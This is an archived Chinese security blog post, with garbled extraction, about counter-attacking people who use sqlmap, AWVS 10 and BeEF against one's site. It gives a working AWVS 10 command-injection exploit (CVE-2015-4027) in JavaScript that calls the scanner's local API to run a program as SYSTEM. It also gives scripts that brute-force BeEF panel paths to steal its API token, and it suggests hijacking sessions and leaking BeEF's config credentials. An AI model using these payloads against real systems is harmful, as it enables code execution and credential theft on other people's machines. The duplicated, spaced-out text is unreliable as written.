搜索

[10673] 2016-11-02_使用各种扫描工具的你，不但踩了“蜜罐”可能还要被团灭了

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2016-11-02_使用各种扫描工具的你，不但踩了“蜜罐”可能还要被团灭了 使 用 各 种 扫 描 工 具 的 你 ， 不 但 踩 了 “ 蜜 罐 ” 可 能 还 要 被 团 灭 了 e v i l 7   F r e e B u f   2 0 1 6 - 1 1 - 0 2 * 本 文 原 创 作 者 ： e v i l 7 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 工 作 后 ， 越 来 越 没 有 时 间 挖 洞 和 写 东 西 了 （ 被 世 俗 的 纷 争 与 微 弱 的 工 资 束 缚 着 ） ， 真 是 怠 惰 滴 斯 ！ … … ( ； ′ ⌒ ` )   蓝 瘦 … 香 菇 … 这 几 天 看 到 F B 上 又 有 了 几 篇 有 质 量 的 R M B 奖 励 贴 ， 心 中 小 小 激 动 。 仔 细 看 了 看 《 注 意 了 ， 使 用 S q l m a p 的 你 可 能 踩 中 了 “ 蜜 罐 ” 》 ， 作 者 九 如 把 之 前 自 己 也 研 究 过 的 东 西 写 成 了 心 得 。 想 起 了 大 学 时 候 自 己 没 日 没 夜 研 究 本 不 是 自 己 专 业 内 容 的 身 影 。 原 来 ， 还 是 有 好 奇 心 强 的 朋 友 在 用 不 同 的 视 角 去 审 视 现 有 的 工 具 的 。 那 么 回 归 正 题 ， 我 们 就 来 分 析 一 下 已 经 爆 出 来 的 ， 或 还 没 说 破 的 那 些 反 杀 S h o w 。 #   F i r s t B l o o d ： ： S q l m a p   （ （ b a s h 特 性 ） 特 性 ） 本 文 主 要 延 伸 思 维 ， 稍 微 分 析 一 下 文 章 中 实 现 方 法 的 问 题 和 解 决 办 法 ： 本 文 主 要 延 伸 思 维 ， 稍 微 分 析 一 下 文 章 中 实 现 方 法 的 问 题 和 解 决 办 法 ： 引 子 直 接 看 九 如 的 文 章 就 好 ， 不 做 重 复 介 绍 了 ： 《 注 意 了 ， 使 用 S q l m a p 的 你 可 能 踩 中 了 “ 蜜 罐 ” 》 之 前 笔 者 自 己 也 本 着 学 习 的 目 的 ， 研 究 了 s q l m a p 的 源 码 ， 那 么 就 根 据 以 上 那 篇 文 章 ， 一 起 来 分 析 一 下 ：
f o r m 表 单 里 表 单 里 v a l u e 的 值 过 于 明 显 ， 哪 怕 不 抓 包 ， 有 阅 读 源 码 习 惯 的 人 都 会 发 现 其 中 的 不 对 劲 儿 ， 怎 么 办 ？ 的 值 过 于 明 显 ， 哪 怕 不 抓 包 ， 有 阅 读 源 码 习 惯 的 人 都 会 发 现 其 中 的 不 对 劲 儿 ， 怎 么 办 ？ 确 实 如 此 ， 那 么 v a l u e 中 最 好 把 p a y l o a d 所 有 字 符 都 先 u r l e n c o d e 一 下 ， 反 正 P O S T 传 入 的 d a t a 会 在 t a r g e t . p y 进 行 u r l d e c o d e 。 所 以 完 全 可 以 把 p a y l o a d 全 部 u r l e n c o d e 处 理 ， 免 得 太 过 明 显 。 有 没 有 什 么 办 法 ， 不 让 有 没 有 什 么 办 法 ， 不 让 p a y l o a d 在 网 页 的 源 码 里 裸 奔 呢 ？ 在 网 页 的 源 码 里 裸 奔 呢 ？ 不 如 把 p a y l o a d 放 到 h e a d e r 里 好 了 ， 因 为 P O S T 中 以 下 参 数 全 都 包 括 在 h e a d e r 中 ， 并 且 都 可 以 u r l e n c o d e 传 入 ， 因 此 都 可 以 用 来 隐 藏 利 用 。 首 先 ， 我 们 来 看 看 s q l m a p 源 码 里 ， 是 怎 么 处 理 h e a d e r 内 容 的 ： H T T P _ H E A D E R . U S E R _ A G E N T ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / b l o b / e 7 7 1 2 6 e 8 4 7 9 8 4 b 2 0 4 1 1 1 d 5 d a d a 9 4 1 7 b c 7 4 a 7 a 3 7 6 / l i b / c o r e / t a r g e t . p y # L 3 2 8 H T T P _ H E A D E R . R E F E R E R ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / b l o b / e 7 7 1 2 6 e 8 4 7 9 8 4 b 2 0 4 1 1 1 d 5 d a d a 9 4 1 7 b c 7 4 a 7 a 3 7 6 / l i b / c o r e / t a r g e t . p y # L 3 3 6 H T T P _ H E A D E R . H O S T ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / b l o b / e 7 7 1 2 6 e 8 4 7 9 8 4 b 2 0 4 1 1 1 d 5 d a d a 9 4 1 7 b c 7 4 a 7 a 3 7 6 / l i b / c o r e / t a r g e t . p y # L 3 4 6 h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / b l o b / e 7 7 1 2 6 e 8 4 7 9 8 4 b 2 0 4 1 1 1 d 5 d a d a 9 4 1 7 b c 7 4 a 7 a 3 7 6 / l i b / c o r e / t a r g e t . p y # L 7 1 2 以 上 以 上 P O S T d a t a 的 反 杀 方 式 ， 攻 击 者 测 试 时 必 须 进 行 抓 包 、 导 出 的 反 杀 方 式 ， 攻 击 者 测 试 时 必 须 进 行 抓 包 、 导 出 d a t a f i l e ， 才 能 使 用 ， 才 能 使 用 来 利 用 。 万 一 他 仔 细 看 了 看 来 利 用 。 万 一 他 仔 细 看 了 看 d a t a 内 容 ， 这 样 反 杀 不 就 变 成 送 人 头 了 么 ， 怎 么 破 内 容 ， 这 样 反 杀 不 就 变 成 送 人 头 了 么 ， 怎 么 破 ? 那 就 尽 量 不 让 攻 击 者 接 触 到 P O S T 的 d a t a ， 我 们 改 用 G E T 来 反 杀 ， 先 看 这 里 ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / b l o b / e 7 7 1 2 6 e 8 4 7 9 8 4 b 2 0 4 1 1 1 d 5 d a d a 9 4 1 7 b c 7 4 a 7 a 3 7 6 / l i b / c o r e / t a r g e t . p y # L 3 6 5 读 过 r e p o 的 都 知 道 s q l m a p 在 g e t 的 时 候 是 不 会 主 动 验 证 并 设 置 g e t 中 h e a d e r 的 其 他 参 数 的 ， 那 么 如 果 g e t 请 求 进 行 了 验 证 ， 就 必 须 自 己 加 上 类 如 / 的 参 数 。 那 攻 击 者 在 寻 找 p a c k a g e 头 文 件 里 的 c o o k i e 时 ， 一 定 也 会 发 现 参 数 中 奇 怪 的 部 分 ， 左 思 右 想 ， 这 不 反 杀 不 成 了 么 ？ 还 是 再 继 续 看 看 源 码 里 还 有 什 么 好 玩 的 东 西 吧 。 可 以 注 意 到 ， s q l m a p 检 测 c s r f 的 时 候 ， 有 这 么 一 条 特 性 。 - - d a t a - - c o o k i e - - a g e n t
H T T P _ H E A D E R . C S R F _ T O K E N ： h t t p s : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p / b l o b / e 7 7 1 2 6 e 8 4 7 9 8 4 b 2 0 4 1 1 1 d 5 d a d a 9 4 1 7 b c 7 4 a 7 a 3 7 6 / l i b / c o r e / t a r g e t . p y # L 3 8 1 从 以 上 实 现 方 式 看 ， c s r f 被 检 测 验 证 后 ， 出 于 自 动 化 步 进 ， S q l m a p 会 提 出 交 互 选 项 而 就 一 般 的 渗 透 过 程 来 说 ， 懒 得 麻 烦 的 人 都 会 扣 个 Y 让 他 继 续 。 毕 竟 能 自 动 跟 进 为 什 么 我 还 要 去 手 动 g e t 然 后 设 置 呢 ？ 我 要 的 是 自 动 化 啊 ！ （ 对 没 错 ， 是 我 ） 你 不 但 可 以 注 入 反 杀 你 不 但 可 以 注 入 反 杀 p a y l o a d ， 同 时 还 可 以 只 用 ， 同 时 还 可 以 只 用 g e t 请 求 ， 就 干 掉 攻 击 者 。 请 求 ， 就 干 掉 攻 击 者 。 总 结 一 下 ， 猥 琐 的 姿 势 就 出 来 了 ， 为 了 兼 顾 g e t 和 p o s t ， 我 们 只 需 在 所 有 请 求 里 加 上 c s r f 伪 随 机 验 证 ， 然 后 通 过 监 控 所 有 的 页 面 请 求 ， 在 某 个 页 面 超 过 2 0 次 连 续 同 i p 请 求 时 ， 动 态 替 换 掉 c s r f 规 则 加 上 你 的 p a y l o a d 。 如 果 攻 击 者 是 个 脚 本 小 子 或 者 马 马 虎 虎 的 人 ， 那 铁 定 就 要 被 反 杀 了 。 #   D o u b l e   k i l l ： ： A W V S   1 0   （ （ C V E - 2 0 1 5 - 4 0 2 7 ） ） 抱 歉 原 文 链 接 忘 了 在 哪 儿 了 抱 歉 原 文 链 接 忘 了 在 哪 儿 了 … … 简 要 说 明 一 下 ： 简 要 说 明 一 下 ： A W V S   1 0   在 安 装 后 ， 会 申 请 一 个 a p i 服 务 ， 开 启 并 监 听 8 1 8 3 端 口 ， 用 来 接 收 本 地 任 务 添 加 的 调 用 （ 具 体 服 务 名 称 忘 了 … … ） 并 且 这 个 服 务 跟 随 安 装 时 的 属 性 ， 就 是 说 是 s y s t e m 权 限 的 服 务 。 如 果 直 接 访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 8 3 ， 可 以 看 到 一 个 简 单 的 w e b 面 板 用 来 显 示 所 有 类 型 的 扫 描 任 务 。 根 据 官 方 文 档 的 a p i 参 数 介 绍 ： h t t p s : / / w w w . a c u n e t i x . c o m / b l o g / d o c s / a c u n e t i x - w v s - c l i - o p e r a t i o n / 参 数 将 代 入 命 令 执 行 ， 且 因 为 继 承 s y s t e m 权 限 ， 我 们 的 命 令 也 会 以 s y s t e m 执 行 。 并 且 ， 发 现 这 个 漏 洞 的 人 测 试 了 一 下 ， 在 A W V S 扫 描 的 时 候 ， j s 将 被 代 入 检 查 并 且 被 执 行 了 。 于 是 ， 就 有 了 隔 空 怀 孕 的 姿 势 — — 插 入 针 对 A W V S - A p i 的 “ 恶 意 j s ” 用 以 反 杀 。 参 考 参 考 p o c ： ： p a y l o a d ： （ ： （ p y t h o n ） ） h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 8 8 4 7 D o   y o u   w a n t   s q l m a p   t o   a u t o m a t i c a l l y   u p d a t e   i t   i n   f u r t h e r   r e q u e s t s ?   [ y / N ] / r u n < s c r i p t > v a r   t   =   n e w   D a t e ( ) v a r   y   =   t i m e . g e t F u l l Y e a r ( ) ; v a r   m   =   t i m e . g e t M o n t h ( ) ; v a r   d   =   t i m e . g e t D a t e ( ) ; v a r   h   =   t i m e . g e t H o u r s ( ) ; v a r   m i n   =   t i m e . g e t M i n u t e s ( ) + 1 ; v a r   c o m m a n d   =   " c a l c . e x e " ; v a r   p a d d i n g   =   " h t t p : / / " ; f o r ( i = 0 ; i < 2 0 4 8 ; i + + ) p a d d i n g + = " a " ; v a r   e x p   =   ' { " s c a n T y p e " : " s c a n " , " t a r g e t L i s t " : " " , " t a r g e t " : [ " ' + p a d d i n g + ' " ] , " r e c u r s e " : " - 1 " , " d a t e " : " ' + m + ' / ' + d + ' / ' + y + ' " , " d a y O f W e e k " : " 1 " , " d a y O f M o n t h " : " 1 " , " t " : " ' + h + ' : ' + m i n + ' " , " d e l e t e A f t e r C o m p l e t i o n " : " F a l s e " , " p a r a m s " : { " p r o f i l e " : " D e f a u l t " , " l o g i n S e q " : " < n o n e > " , " s e t t i n g s " : " D e f a u l t " , " s c a n n i n g m o d e " : " h e u r i s t i c " , " e x c l u d e d h o u r s " : " < n o n e > " , " s a v e t o d a t a b a s e " : " T r u e " , " s a v e l o g s " : " F a l s e " , " g e n e r a t e r e p o r t " : " F a l s e " , " r e p o r t f o r m a t " : " P D F " , " r e p o r t t e m p l a t e " : " W V S D e v e l o p e r R e p o r t . r e p   / C r a w l   h t t p : / / s c a n . w h a t   / R u n   " ' + c o m m a n d + '   " " , " e m a i l a d d r e s s " : " " } } ' v a r   x m l h t t p ; i f ( w i n d o w . X M L H t t p R e q u e s t ) {   x m l h t t p = n e w   X M L H t t p R e q u e s t ( ) ;   } e l s e {   x m l h t t p = n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ;   } x m l h t t p . o p e n ( " P O S T " , " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 8 3 / a p i / a d d S c a n " , t r u e ) ; x m l h t t p . s e t R e q u e s t H e a d e r ( " C o n t e n t - t y p e " , " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ; x m l h t t p . s e t R e q u e s t H e a d e r ( " R e q u e s t V a l i d a t e d " , " t r u e " ) ; x m l h t t p . s e n d ( e x p ) ; < / s c r i p t >
h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 9 7 5 5 （ （ 1 0 月 月 2 9 日 ） 找 到 了 ， 原 文 在 这 ： 如 何 优 雅 的 反 击 扫 描 你 网 站 的 黑 客 日 ） 找 到 了 ， 原 文 在 这 ： 如 何 优 雅 的 反 击 扫 描 你 网 站 的 黑 客 #   T r i p l e   k i l l ： ： B e E F - F r a m e w o r k   （ （ j s 特 性 ） 特 性 ） B e e f p r o j e c t ： ： h t t p : / / b e e f p r o j e c t . c o m 大 家 应 该 都 用 过 b e e f 这 个 功 能 丰 富 的 x s s 平 台 ， 毕 竟 自 动 化 方 面 b e e f 做 的 非 常 不 错 ， 但 是 同 样 b e e f 也 存 在 一 定 的 被 反 杀 风 险 。 我 们 今 天 不 是 来 介 绍 工 具 ， 而 是 分 析 其 反 杀 的 可 能 性 的 ， 所 以 ， 测 试 ！ 上 线 ！ 大 家 来 找 茬 ！ 我 们 今 天 不 是 来 介 绍 工 具 ， 而 是 分 析 其 反 杀 的 可 能 性 的 ， 所 以 ， 测 试 ！ 上 线 ！ 大 家 来 找 茬 ！ 显 而 易 见 ， 在 点 击 了 测 试 页 面 后 ， b e e f - p a n e l 里 很 快 出 现 了 我 们 的 主 机 ， 而 就 一 般 小 白 用 户 来 说 ， 这 一 上 线 ， 可 谓 狼 入 虎 口 了 。 因 为 b e e f 能 实 现 的 钓 鱼 功 能 、 渗 透 功 能 非 常 之 多 ， 高 仿 的 f l a s h 升 级 页 面 和 其 他 隐 蔽 注 入 效 果 非 常 好 ， 没 有 辨 别 能 力 的 人 碰 到 真 就 亚 西 给 给 了 ！ 看 着 安 静 的 测 试 页 面 ， 大 家 也 许 都 会 觉 得 只 要 s e v e r 端 不 发 出 极 端 性 的 指 令 ， 一 般 来 说 是 不 会 暴 露 的 ， 但 我 们 来 看 看 原 始 页 面 在 注 入 j s 后 ， 是 不 是 多 了 些 奇 怪 的 东 西 ， 首 先 b e e f 这 个 存 活 上 报 功 能 （ 心 跳 功 能 ） 就 已 经 很 容 易 暴 露 身 份 了 。 在 d e v - t e r m i n a l 里 很 清 楚 的 看 到 ， 因 为 每 秒 一 个 的 心 跳 包 ， 页 面 的 脚 本 资 源 量 在 不 断 的 增 长 ， 通 过 寻 找 最 多 的 那 条 增 长 量 ， 也 很 容 易 找 到 s e r v e r 服 务 器 的 位 置 。
但 是 我 不 能 每 看 一 个 页 面 就 f 1 2 一 下 呀 ， 那 不 得 累 死 么 ？ 是 的 ， 所 以 我 们 来 说 说 页 面 里 那 些 不 对 劲 儿 的 马 脚 ， 我 是 说 — — 奇 怪 的 v a r 和 f u n c t i o n 。 不 管 j s 名 称 更 换 如 何 隐 蔽 ， 不 管 攻 击 者 使 用 多 么 保 守 ， 通 过 在 调 试 终 端 输 入 一 条 简 单 的 b e e f , 足 以 让 它 漏 出 马 脚 。 可 以 看 见 ， b e e f 的 版 本 ， 所 有 f u n c t i o n 原 型 ， 所 实 现 函 数 等 ， 全 都 以 j s o n 形 式 被 返 回 打 印 了 出 来 。 见 招 拆 招 ， 理 清 思 路 见 招 拆 招 ， 理 清 思 路 如 果 你 是 一 位 站 长 ， 只 需 要 在 你 的 站 点 页 面 里 加 入 一 条 j s 即 可 ： 那 么 这 怎 么 算 反 杀 呢 ？ 那 么 这 怎 么 算 反 杀 呢 ？ 既 然 j s 特 征 能 够 被 发 现 ， 我 们 继 续 看 看 ， 能 不 能 有 什 么 可 以 利 用 起 来 获 取 一 些 攻 击 方 的 信 息 。 < s c r i p t > ( w i n d o w . b e e f ) ? a l e r t ( ' F o u n d   B e e f   i n j e c t ! ' ) : n u l l ; < / s c r i p t >
通 过 一 句 简 单 的 函 数 查 询 ， 我 们 很 容 易 找 到 h o o k 脚 本 的 所 在 位 置 ， 同 样 作 为 b e e f 的 特 点 ， j s 和 p a n e l 是 在 同 一 端 口 ， 所 以 可 以 通 过 这 个 动 作 ， 了 解 被 注 入 的 脚 本 信 息 ， 推 断 出 b e e f 的 后 端 入 口 ， 进 行 反 击 。 见 招 拆 招 ！ 重 点 来 了 ！ 请 同 学 们 做 好 笔 记 ！ 见 招 拆 招 ！ 重 点 来 了 ！ 请 同 学 们 做 好 笔 记 ！ 看 对 方 X S S 打 得 这 么 欢 ， 是 时 候 带 动 他 家 一 波 团 灭 了 。 测 试 中 ， 我 们 先 假 作 为 攻 击 者 ， 访 问 以 下 自 己 后 端 的 页 面 。 没 错 ， 这 就 是 显 示 我 们 后 端 B e E F 的 R e s t f u l A p i T o k e n 值 的 一 个 j s o n ！ （ （ 1 0 月 月 2 9 日 日 ） 我 真 不 知 道 为 什 么 这 个 ） 我 真 不 知 道 为 什 么 这 个 A p i T o k e n 会 以 会 以 j s o n 形 式 直 接 暴 露 出 来 ， 讲 道 理 我 运 行 形 式 直 接 暴 露 出 来 ， 讲 道 理 我 运 行 b e e f 的 的 r u b y 脚 本 时 候 你 脚 本 时 候 你 p r i n t 出 来 了 出 来 了 就 够 了 嘛 就 够 了 嘛 … … 那 么 ， 只 需 要 能 得 到 A p i T o k e n ， 即 可 控 制 s e r v e r 端 的 行 动 ！ 接 下 来 ， 将 我 们 注 入 到 自 己 测 试 页 面 的 那 段 j s 改 成 （ 笔 者 测 试 引 用 了 j q u e r y 的 $ . g e t 方 法 ） ： 当 攻 击 者 自 己 访 问 到 页 面 的 时 候 ， 就 可 以 将 b e e f T o k e n 拿 到 手 。 当 然 你 可 以 不 a l e r t 出 来 打 草 惊 蛇 ， 而 是 发 送 到 自 己 服 务 器 的 后 端 或 记 录 到 网 站 的 l o g 里 今 后 慢 慢 品 尝 ， 或 者 干 脆 全 自 动 化 天 降 正 义 。 （ （ 1 0 月 月 3 0 日 更 ） 再 次 测 试 后 发 现 ， 日 更 ） 再 次 测 试 后 发 现 ， b e e f 的 的 A p i T o k e n 是 动 态 生 成 的 ， 只 有 登 陆 后 ， 才 会 出 现 是 动 态 生 成 的 ， 只 有 登 陆 后 ， 才 会 出 现 T o k e n ， 在 心 跳 包 断 连 的 时 候 ， ， 在 心 跳 包 断 连 的 时 候 ， 是 获 取 不 到 后 台 是 获 取 不 到 后 台 A d m i n 的 的 T o k e n 的 ， 那 个 的 ， 那 个 j s o n 的 页 面 也 会 获 取 不 到 ， 但 是 的 页 面 也 会 获 取 不 到 ， 但 是 b e e f 参 数 和 所 有 脚 本 参 数 和 所 有 脚 本 f u n c t i o n 还 是 存 在 。 还 是 存 在 。 h t t p : / / 1 2 7 . 0 . 0 . 1 : 3 0 0 0 / u i / m o d u l e s / g e t R e s t f u l A p i T o k e n . j s o n < s c r i p t   s r c = ' h t t p : / / c d n . b o o t c s s . c o m / j q u e r y / 3 . 1 . 1 / j q u e r y . m i n . j s ' > < / s c r i p t > < s c r i p t > ( w i n d o w . b e e f ) ? a l e r t ( ' F o u n d   B e e f   i n j e c t ! n b f T o k e n :   ' + $ . g e t ( { u r l : " h t t p : / / 1 2 7 . 0 . 0 . 1 : 3 0 0 0 / u i / m o d u l e s / g e t R e s t f u l A p i T o k e n . j s o n " , a s y n c : f a l s e } ) . r e s p o n s e J S O N . t o k e n ) : n u l l ; < / s c r i p t >
这 意 味 着 ， 如 果 检 测 到 页 面 有 b e e f 的 参 数 ， 证 明 页 面 被 注 入 了 b e e f 的 X S S 脚 本 ； 如 果 同 时 通 过 x h r 动 态 获 取 到 了 A p i T o k e n ， 那 只 有 一 种 可 能 — — 攻 击 者 和 你 ， 同 时 在 线 ！ 赶 紧 争 分 夺 秒 搞 事 ！ 笔 者 将 之 前 的 小 脚 本 稍 稍 改 进 了 一 下 ， 更 改 为 两 步 ， 第 一 步 仅 仅 验 证 是 否 有 b e e f 脚 本 注 入 ， 第 二 步 如 果 攻 击 者 在 线 ， 再 进 行 遍 历 爆 破 ， 提 取 A p i T o k e n ： （ / 为 爆 破 字 典 ， 数 组 格 式 存 储 ， 可 自 行 添 加 。 ） 这 只 是 个 简 单 的 a l e r t 示 范 脚 本 ， 实 际 生 产 环 境 中 ， 完 全 可 以 将 a l e r t 替 换 为 自 己 的 f u n c t i o n ， 比 如 自 动 化 利 用 A p i 套 取 攻 击 者 所 获 取 的 其 他 s e s s i o n ， 再 比 如 ， 立 马 注 销 掉 自 己 的 所 有 c o o k i e 等 ， 大 家 开 动 脑 筋 ~   其 他 事 项 其 他 事 项 就 像 j s 演 示 脚 本 中 ， 如 果 攻 击 者 注 入 的 是 外 网 地 址 的 j s ， 而 他 登 陆 平 台 是 用 的 < s c r i p t   s r c = ' h t t p : / / c d n . b o o t c s s . c o m / j q u e r y / 3 . 1 . 1 / j q u e r y . m i n . j s ' > < / s c r i p t > < s c r i p t >         v a r   b f P a t h   =   [ ' u i ' , ' a d m i n ' , ' b e e f ' , ' h a c k ' , ' x s s ' , ' m a n a g e r ' , ' d a s h b o a r d ' , ' t e s t ' , ' m e n u ' , ' 1 2 3 4 5 6 ' ] ;         v a r   b f H o s t   =   [ b e e f . n e t . h o s t , ' 1 2 7 . 0 . 0 . 1 ' , ' l o c a l h o s t ' , ' 0 . 0 . 0 . 0 ' ]         f u n c t i o n   g e t A p i ( h o s t ,   p a t h )   {                 r e t u r n   $ . g e t ( { u r l : b e e f . n e t . h t t p p r o t o + ' : / / ' + h o s t + ' : ' + b e e f . n e t . p o r t + ' / ' + p a t h + ' / m o d u l e s / g e t R e s t f u l A p i T o k e n . j s o n ' , a s y n c : f a l s e } ) . r e s p o n s e J S O N ;                 }         ( w i n d o w . b e e f ) ? a l e r t ( ' F o u n d   B e e f J s   i n j e c t ! n n J s f i l e   i s : n ' + b e e f . n e t . h t t p p r o t o + ' : / / ' + b e e f . n e t . h o s t + ' : ' + b e e f . n e t . p o r t + b e e f . n e t . h o o k ) : n u l l ;         f o r   ( v a r   n = 0 ; n < b f H o s t . l e n g t h ; n + + )   {                 v a r   h   =   b f H o s t [ n ] ;                 f o r   ( v a r   i = 0 ; i < b f P a t h . l e n g t h ; i + + )   {                         v a r   p   =   b f P a t h [ i ] ;                         ( g e t A p i ( h , p ) ) ? a l e r t ( ' F o u n d   B e e f   i s   O n l i n e ! : n n S e r v e r   A t : n ' + b e e f . n e t . h t t p p r o t o + ' : / / ' + h + ' : ' + b e e f . n e t . p o r t + ' / ' + p + ' / p a n e l ' + ' n A p i T o k e n : n ' + g e t A p i ( h , p ) . t o k e n ) : n u l l ;                 }         } < / s c r i p t > b f P a t h b f H o s t l o c a l h o s t
/ / / 那 就 挨 个 枚 举 g e t 一 下 就 好 ， 总 会 有 一 个 是 对 滴 ~ 如 果 攻 击 者 改 变 了 设 置 中 p a n e l 的 位 置 ， 就 是 说 功 能 目 录 不 是 叫 了 那 就 靠 一 个 简 单 的 遍 历 爆 破 吧 。 除 非 这 个 攻 击 者 谨 慎 到 把 后 台 设 置 为 ， 那 就 无 法 反 杀 了 ， 但 是 也 能 尽 快 响 应 、 注 销 c o o k i e 、 清 除 被 注 入 的 脚 本 什 么 的 ， 避 免 损 失 扩 大 嘛 。 关 于 R E S T f u l A p i 利 用 ， 因 为 A p i 也 验 证 了 S e s s i o n ， 所 以 自 己 单 独 使 用 A p i 是 不 可 能 的 了 ， 那 么 就 得 靠 大 家 用 X S S 的 方 式 ， 插 回 去 反 杀 攻 击 者 ， 多 多 判 断 i f ( b l a b l a l b a ) { d o   b l a b l a b l a } 就 好 了 。 只 要 动 静 不 太 大 ， 别 满 c o n s o l e 的 e r r o r ， 没 谁 哪 个 攻 击 者 会 开 着 b e e f 还 分 分 钟 看 d e v T e r m i n a l 的 ~ 为 了 大 家 猥 琐 思 路 能 继 续 延 伸 ， 贴 上 b e e f A P I 说 明 书 ： B e E F - R E S T f u l - A P I 打 枪 的 不 要 ， 这 么 悄 悄 地 ， 我 就 再 提 个 醒 ！ B e e f 源 码 中 有 个 2 个 A p i 入 口 是 提 供 给 内 部 调 用 的 ， 没 有 写 到 D o c 里 ， 其 中 有 一 个 是 用 来 将 m s f _ p a y l o a d 或 者 f l a s h 钓 鱼 包 类 似 的 需 要 暴 露 的 文 件 布 置 到 w e b 外 端 的 ， 为 的 是 p a y l o a d 文 件 暴 露 出 去 能 够 给 外 部 访 问 或 下 载 ， 那 么 … … 我 们 用 这 个 接 口 来 暴 露 一 下 b e e f 的 C o n f i g 文 件 呢 ？ ( ｡ ･ ∀ ･ ) ﾉ ﾞ 答 对 了 ， 那 就 能 拿 到 b e e f 的 配 置 、 用 户 名 、 密 码 ， 然 后 阿 姨 洗 铁 路 了 。 然 后 … … 然 后 就 不 说 破 了 吧 ~ 留 半 个 气 口 ， 不 说 了 ~ 嘿 嘿 ~ ⁄ ( ⁄   ⁄ • ⁄ ω ⁄ • ⁄   ⁄ ) ⁄ #   把 脸 凑 过 来 ， 我 给 你 看 个 宝 贝 ！ 把 脸 凑 过 来 ， 我 给 你 看 个 宝 贝 ！ 总 而 言 之 ， 很 多 工 具 因 为 自 己 的 特 性 ， 或 者 为 了 实 现 刺 探 信 息 的 更 多 功 能 ， 亦 或 是 实 现 完 美 的 自 动 化 ， 难 免 会 暴 露 出 一 些 自 己 弱 点 。 正 所 谓 “ 你 想 看 我 的 宝 贝 ， 那 就 得 把 脸 凑 过 来 ” … … （ 大 概 就 是 这 个 意 思 吧 ， 呵 呵 呵 呵 ） 凑 过 来 了 ， 就 容 易 挨 揍 … …   ┑ ( ￣ Д   ￣ ) ┍ 文 章 写 了 很 久 了 ， 两 个 星 期 前 就 打 算 发 ， 一 直 工 作 忙 着 没 时 间 认 真 排 版 和 配 图 ， 怠 惰 滴 斯 ！ 但 是 不 能 向 怠 惰 势 力 低 头 ！ 有 研 究 还 是 得 发 出 来 的 ~ 还 有 几 个 开 源 工 具 ， 笔 者 自 己 也 还 正 在 研 究 呢 ， 而 且 有 点 东 西 没 太 明 了 ， 正 在 琢 磨 中 … … 等 这 个 b e e f 的 还 有 其 他 一 些 相 关 项 目 研 究 完 ， 我 会 在 年 底 汇 总 成 一 个 开 源 的 小 项 目 （ 工 作 之 余 ， 可 能 延 误 ） 。 咳 咳 ， 毕 竟 ， 吹 出 去 的 牛 逼 才 有 动 力 去 实 现 嘛 ~ 卖 个 关 子 吧 ， 这 个 小 小 的 项 目 将 会 很 流 弊 ！ 涉 及 网 络 安 全 ， 算 得 上 是 辅 助 类 小 工 具 ， 有 点 偏 向 开 发 辅 助 类 型 。 不 能 老 看 看 不 动 手 嘛 ， 突 破 创 新 深 化 改 革 ， 自 己 也 得 用 发 展 的 眼 光 去 看 现 在 的 安 全 行 业 。 #   感 想 感 想 1 2 7 . 0 . 0 . 1 0 . 0 . 0 . 0 1 9 2 . 1 6 8 . x . x u i / n i _ j u e _ d u i _ z h a o _ b u _ d a o _ w o _ l a l a l a _ 5 6 7 8 9 / p a n e l
以 上 的 这 些 姿 势 ， 其 实 网 藤 或 者 盒 子 ， 完 全 可 以 做 个 项 目 ， 全 网 感 知 做 出 一 个 动 态 的 拓 扑 图 ， 去 按 特 征 定 位 “ 病 原 体 ” 。 这 就 和 我 现 在 的 行 业 有 点 像 了 ， 医 疗 科 研 项 目 ， 做 病 原 识 别 和 提 前 干 预 ， 对 病 原 特 征 进 行 标 记 ， 人 工 诱 导 触 发 方 向 ， 获 得 病 原 信 息 后 消 灭 ， 就 和 预 防 针 差 不 多 。 1 ） 试 想 ， 如 果 提 前 注 册 掉 或 者 反 复 循 环 注 册 工 具 所 用 的 f u n c t i o n 或 者 v a r ， 不 就 做 到 了 打 乱 内 部 功 能 的 作 用 么 ， 我 在 每 个 页 面 放 上 育 苗 ， 等 碰 到 了 真 正 的 病 原 ， 再 触 发 进 行 主 动 侵 蚀 。 2 ） 所 有 的 下 载 ， 都 不 用 下 载 完 再 检 查 了 ， 不 是 有 服 务 器 安 全 管 家 么 ？ 联 动 一 下 ， 每 个 站 点 自 己 放 白 名 单 ， 浏 览 器 先 检 测 白 名 单 ， 再 检 测 下 载 链 接 ， 如 果 超 出 可 下 载 源 直 接 禁 止 下 载 ， 再 提 醒 站 长 出 现 非 法 链 接 。 3 ） 支 付 链 接 什 么 的 ， 直 接 浏 览 器 解 析 一 遍 ， 乙 方 信 息 不 符 直 接 b a n 掉 二 维 码 就 是 了 。 很 多 隐 形 的 特 征 ， 浏 览 器 都 可 以 帮 忙 完 成 判 断 的 。 3 什 么 0 ， 什 么 迅 ， 什 么 啥 的 浏 览 器 ， 来 个 某 厂 做 成 个 内 部 功 能 ， 检 查 页 面 函 数 与 f u n c t i o n ， 这 一 下 就 变 成 “ 我 大 x x 浏 览 器 完 美 感 知 黑 客 行 为 ， 提 前 预 防 ， 防 范 未 然 ” 了 。 （ m a r k 一 下 ， 万 一 真 被 某 厂 把 功 能 实 现 了 ， 请 稍 稍 提 名 我 一 下 ， 蟹 蟹 ， 嘿 嘿 哒 ~ ） 现 代 社 会 没 人 能 离 开 网 络 ， 既 然 大 家 都 在 接 触 ， 那 么 大 家 都 能 参 与 改 造 。 其 实 我 们 每 个 人 都 是 网 络 安 全 发 展 的 历 史 见 证 者 ， 同 时 也 是 缔 造 者 ， 为 什 么 不 尝 试 着 参 与 进 来 呢 ？ #   写 在 最 后 写 在 最 后 一 血 二 血 或 多 或 少 是 网 上 已 经 公 布 过 的 ， 仅 仅 在 前 人 基 础 